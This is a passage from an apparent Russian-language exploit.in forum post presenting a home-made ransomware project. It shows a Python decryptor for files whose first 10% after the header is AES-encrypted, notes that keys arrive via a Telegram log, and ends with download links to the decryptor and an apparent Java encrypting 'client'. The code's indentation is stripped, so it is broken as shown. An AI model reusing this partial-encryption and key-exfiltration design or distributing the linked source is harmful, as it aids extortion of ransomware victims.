encryption_percentage = 10.0 # как в коде на java
header_size = 8
total_length = len(image_data)
if total_length <= header_size:
print(f"Файл {filename} слишком мал для обработки.")
continue
encryption_size = int(((total_length - header_size) * encryption_percentage) / 100.0)
encryption_size = (encryption_size // 16) * 16
if encryption_size < 16:
encryption_size = 16 # минимум 16 байт
if encryption_size > (total_length - header_size):
encryption_size = ((total_length - header_size) // 16) * 16
if encryption_size < 16:
encryption_size = 16
print(f"Размер шифруемой части: {encryption_size} байт")
encrypted_part = image_data[header_size:header_size + encryption_size]
decrypted_part = decrypt_bytes(encrypted_part, key)
if decrypted_part is None:
print(f"Не удалось дешифровать часть файла {filename}.")
continue
new_image_data = image_data[:header_size] + decrypted_part + image_data[header_size + encryption_size:]
if filename.endswith("rans.txt"):
output_filename = f"decrypted_{filename[:-8]}.png"
else:
output_filename = f"decrypted_{filename}.png"
output_image_path = os.path.join(decrypted_images_dir, output_filename)
with open(output_image_path, 'wb') as img_file:
img_file.write(new_image_data)
print(f"Файл {filename} успешно дешифрован и сохранён как {output_image_path}.")
except Exception as e:
print(f"Ошибка обработки файла {filename}: {e}")
if not files_found:
print(f"В директории {encoded_images_dir} нету 'rans.enc'.")
def main():
key_file = 'aes_key.txt'
encoded_images_directory = 'EncodedImages'
decrypted_images_directory = 'DecryptedImages'
key = load_aes_key(key_file)
if key is None:
print("Err AES")
return
process_encrypted_files(encoded_images_directory, decrypted_images_directory, key)
if __name__ == "__main__":
main()
aes_key.txt - ваш AES ключ из лога в Telegram.
EncodedImages - исходные шифр данные.
DecryptedImages - тут будут на выходе дешифрованные данные.
Спойлер: ошибочка красивая
Был небольшой баг где после шифрования и дешифрования файлы бились и выходила такая красота -
Спасибо за внимание!
Надеюсь, вам было интересно. В завершение хочу еще раз подчеркнуть, что это не коммерческий проект.
Я не получаю с него никакой выгоды и осуждаю подобную деятельность.
Если у вас возникли вопросы или дополнения, или требуется помощь, буду рад ответить и помочь.
:smile10: Source Code отправил через exploit.send если ссылка умрет то отпишите -
https://send.exploit.in/download/673fcc25e69e938d/#u81ualjTVHjwIj9nhuAgyg - Python Decrypt - Source Code
https://send.exploit.in/download/90df07a97129c4e2/#rhR89Iw0jZ3yV6xf0C9cbw - Java A Client - Source Code
NMZ